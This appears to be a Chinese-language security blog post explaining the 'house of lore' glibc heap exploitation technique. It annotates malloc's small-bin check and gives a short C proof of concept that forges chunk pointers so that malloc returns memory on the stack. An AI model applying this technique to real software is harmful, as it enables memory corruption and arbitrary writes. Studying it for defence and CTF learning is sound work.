house of lore

House of lore

该漏洞是利用了small bin的机制,house of lore 可以实现分配任意指定位置的chunk,从而达到修改任意地址的内存。其利用前提是需要可以控制small bin chunk的bk指针,并且控制指定位置chunk的fd指针。漏洞的本质就是small bin链表的伪造。

small bin的结构示意图

image-20240410204930412

检查机制

如果在 malloc 的时候,申请的内存块在 small bin 范围内,那么执行如下函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
/*
If a small request, check regular bin. Since these "smallbins"
hold one size each, no searching within bins is necessary.
(For a large request, we need to wait until unsorted chunks are
processed to find best fit. But for small ones, fits are exact
anyway, so we can check now, which is faster.)
*/

if (in_smallbin_range(nb)) {
// 获取 small bin 的索引
idx = smallbin_index(nb);
// 获取对应 small bin 中的 chunk 指针
bin = bin_at(av, idx);
// 先执行 victim= last(bin),获取 small bin 的最后一个 chunk
// 如果 victim = bin ,那说明该 bin 为空。
// 如果不相等,那么会有两种情况
if ((victim = last(bin)) != bin) {
// 第一种情况,small bin 还没有初始化。
if (victim == 0) /* initialization check */
// 执行初始化,将 fast bins 中的 chunk 进行合并
malloc_consolidate(av);
// 第二种情况,small bin 中存在空闲的 chunk
else {
// 获取 small bin 中倒数第二个 chunk 。
bck = victim->bk;
// 检查 bck->fd 是不是 victim,防止伪造
if (__glibc_unlikely(bck->fd != victim)) {
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
// 设置 victim 对应的 inuse 位
set_inuse_bit_at_offset(victim, nb);
// 修改 small bin 链表,将 small bin 的最后一个 chunk 取出来
bin->bk = bck;
bck->fd = bin;
// 如果不是 main_arena,设置对应的标志
if (av != &main_arena) set_non_main_arena(victim);
// 细致的检查
check_malloced_chunk(av, victim, nb);
// 将申请到的 chunk 转化为对应的 mem 状态
void *p = chunk2mem(victim);
// 如果设置了 perturb_type , 则将获取到的chunk初始化为 perturb_type ^ 0xff
alloc_perturb(p, bytes);
return p;
}
}
}

主要的检查

1
2
3
4
5
6
7
8
9
10
11
12
13
// 获取 small bin 中倒数第二个 chunk 。
bck = victim->bk;
// 检查 bck->fd 是不是 victim,防止伪造
if (__glibc_unlikely(bck->fd != victim)) {
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
// 设置 victim 对应的 inuse 位
set_inuse_bit_at_offset(victim, nb);
// 修改 small bin 链表,将 small bin 的最后一个 chunk 取出来
bin->bk = bck;
bck->fd = bin;

从这个地方我们可以看出,如果修改small bin的最后一个chunk的bk为我们的伪造的chunk(fake chunk),并且同时绕过最后一个 chunk 的 bk 为我们指定内存地址的 fake chunk,并且同时满足之后的 bck->fd != victim的检测,那么就成功使small bin的链表变为了bin->fake chunk ->victim chunk这样的一个单项链表,那么我们进行两次malloc就可以申请到fake chunk了。

例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>


int main(int argc, char * argv[]){
intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[4] = {0};
intptr_t *victim = malloc(0x100);
malloc(0x10);
free(victim);
malloc(0x400);
victim[1] = &stack_buffer_1; // victim_chunk_addr->bk = stack_buffer_1_addr
stack_buffer_1[2] = victim-2; //stack_buffer_1->fd = victim_chunk_addr
stack_buffer_1[3] = &stack_buffer_2; // stack_buffer_1->bk = stack_buffer_2_addr
stack_buffer_2[2] = &stack_buffer_1;//stack_buffer_2->fd = stack_buffer_1_addr
//===============================line=================================
intptr_t *p1 = malloc(0x100);
intptr_t *p2 = malloc(0x100);//chunk on the stack
malloc(0x100); //failed : bck->fd != victim
}

执行到line的图

image-20240410212152066

最后一次malloc(0x100)会crash因为访问非法区域当然后面这个bck->fd != victim条件也不会满足

最终把chunk申请到了栈上


house of lore
http://ak0er.github.io/2024/05/04/house of lore/
作者
Ak0er
发布于
2024年5月4日
许可协议